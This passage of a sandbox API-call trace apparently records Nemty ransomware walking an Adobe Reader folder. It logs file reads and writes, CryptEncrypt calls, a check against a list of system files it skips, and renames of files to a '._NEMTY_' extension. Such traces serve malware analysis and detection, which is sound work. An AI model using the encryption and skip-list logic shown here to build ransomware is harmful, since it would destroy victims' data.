lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.609] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0209.609] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.609] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0209.618] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.618] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0209.618] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.618] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0209.628] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.628] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0209.628] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.628] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0209.637] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.637] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0209.637] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.637] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0209.647] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.647] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0209.647] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.647] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0209.656] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.656] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0209.656] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.656] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0209.662] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.662] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0209.662] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.662] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0209.668] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.668] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0209.668] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.668] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d60, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0209.668] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0209.668] CloseHandle (hObject=0xffffffff) returned 0 [0209.668] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0209.669] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0209.669] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0209.669] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0209.669] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0209.669] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0209.669] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0209.669] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0209.669] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0209.669] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0209.669] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCms-UHC-UCS2" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\kscms-uhc-ucs2"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCms-UHC-UCS2._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\kscms-uhc-ucs2._nemty_kgobjgd_")) returned 0 [0209.669] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0209.669] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0209.669] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0209.669] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0209.669] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0209.669] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0209.669] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0209.669] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0209.669] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fbbc660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="KSCms-UHC-V", cAlternateFileName="KS3FF3~1")) returned 1 [0209.669] lstrcmpiW (lpString1="KSCms-UHC-V", lpString2=".") returned 1 [0209.669] lstrcmpiW (lpString1="KSCms-UHC-V", lpString2="..") returned 1 [0209.669] lstrcmpiW (lpString1="KSCms-UHC-V", lpString2="...") returned 1 [0209.669] lstrcmpiW (lpString1="KSCms-UHC-V", lpString2="windows") returned -1 [0209.669] lstrcmpiW (lpString1="KSCms-UHC-V", lpString2="$RECYCLE.BIN") returned 1 [0209.669] lstrcmpiW (lpString1="KSCms-UHC-V", lpString2="rsa") returned -1 [0209.669] lstrcmpiW (lpString1="KSCms-UHC-V", lpString2="NTDETECT.COM") returned -1 [0209.669] lstrcmpiW (lpString1="KSCms-UHC-V", lpString2="ntldr") returned -1 [0209.669] lstrcmpiW (lpString1="KSCms-UHC-V", lpString2="MSDOS.SYS") returned -1 [0209.669] lstrcmpiW (lpString1="KSCms-UHC-V", lpString2="IO.SYS") returned 1 [0209.669] lstrcmpiW (lpString1="KSCms-UHC-V", lpString2="boot.ini") returned 1 [0209.670] lstrcmpiW (lpString1="KSCms-UHC-V", lpString2="boot.ini") returned 1 [0209.670] lstrcmpiW (lpString1="KSCms-UHC-V", lpString2="AUTOEXEC.BAT") returned 1 [0209.670] lstrcmpiW (lpString1="KSCms-UHC-V", lpString2="ntuser.dat") returned -1 [0209.670] lstrcmpiW (lpString1="KSCms-UHC-V", lpString2="desktop.ini") returned 1 [0209.670] lstrcmpiW (lpString1="KSCms-UHC-V", lpString2="CONFIG.SYS") returned 1 [0209.670] lstrcmpiW (lpString1="KSCms-UHC-V", lpString2="RECYCLER") returned -1 [0209.670] lstrcmpiW (lpString1="KSCms-UHC-V", lpString2="BOOTSECT.BAK") returned 1 [0209.670] lstrcmpiW (lpString1="KSCms-UHC-V", lpString2="bootmgr") returned 1 [0209.670] lstrcmpiW (lpString1="KSCms-UHC-V", lpString2="programdata") returned -1 [0209.670] lstrcmpiW (lpString1="KSCms-UHC-V", lpString2="appdata") returned 1 [0209.670] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0209.670] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="KSCms-UHC-V", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0209.670] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="KSCms-UHC-V", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KSCms-UHC-V", lpUsedDefaultChar=0x0) returned 11 [0209.670] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0209.670] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="KSCms-UHC-V", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0209.670] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="KSCms-UHC-V", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KSCms-UHC-V", lpUsedDefaultChar=0x0) returned 11 [0209.670] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0209.670] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0209.670] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0209.670] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="KSCms-UHC-V", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0209.670] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="KSCms-UHC-V", cchWideChar=11, lpMultiByteStr=0x653ec20, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KSCms-UHC-V", lpUsedDefaultChar=0x0) returned 11 [0209.670] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0209.670] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0209.670] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="KSCms-UHC-V", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0209.670] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="KSCms-UHC-V", cchWideChar=11, lpMultiByteStr=0x653ec58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KSCms-UHC-V", lpUsedDefaultChar=0x0) returned 11 [0209.670] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0209.670] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0209.670] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0209.670] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0209.670] Sleep (dwMilliseconds=0x5) [0209.678] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x309d74b0, dwHighDateTime=0x1d561e8)) [0209.678] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x309d74b0, dwHighDateTime=0x1d561e8)) [0209.678] GetLastError () returned 0x5 [0209.678] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0209.678] GetLastError () returned 0x5 [0209.678] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0209.678] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0209.678] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0209.678] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0209.678] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0209.678] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0209.678] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0209.678] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e91c | out: pszString="rsY2DGmSD8uh0zI2/4OJzIx0QvaHHAZXjwBgb2W15em8VFbzsKzgD3zpZrTZlG5+\r\nBkgUcjbq0tjqo4ROcLxVhXWFQnccMjFuhzMwPF6Br4uRmoRHRtE2aUnY+8Pvwczs\r\nnn6TCHbifYJRLh9We06YtBkktRgRBqdis2jwc66idcYRMHfmWOWGe9bXpLJD3S1p\r\njT3SbnsuyITaRoCkKJD0VECbYcGEYHqX1Kxyyx2Kdq8nN603CfZANpqxuAM/OB+T\r\nv34qS4Y+U0U4gOGFFVCkAWTOf3v6vaA2svCN24vyopMvdrkuiEPXwT1AYBZbEUpt\r\n08M+aucd4u7esI8z/orfHw==\r\n", pcchString=0x653e91c) returned 1 [0209.678] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0209.678] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0209.678] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0209.678] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0209.678] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0209.678] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0209.678] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCms-UHC-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\kscms-uhc-v"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0209.679] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0209.679] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0209.679] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.679] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0209.688] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.688] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0209.688] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.688] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0209.698] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.698] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0209.698] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.698] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0209.707] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.707] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0209.707] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.707] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0209.717] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.717] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0209.717] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.717] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0209.727] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.727] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0209.727] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.727] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0209.736] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.736] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0209.736] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.736] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0209.746] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.746] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0209.746] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.746] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0209.756] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.756] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0209.756] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0209.756] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0209.765] 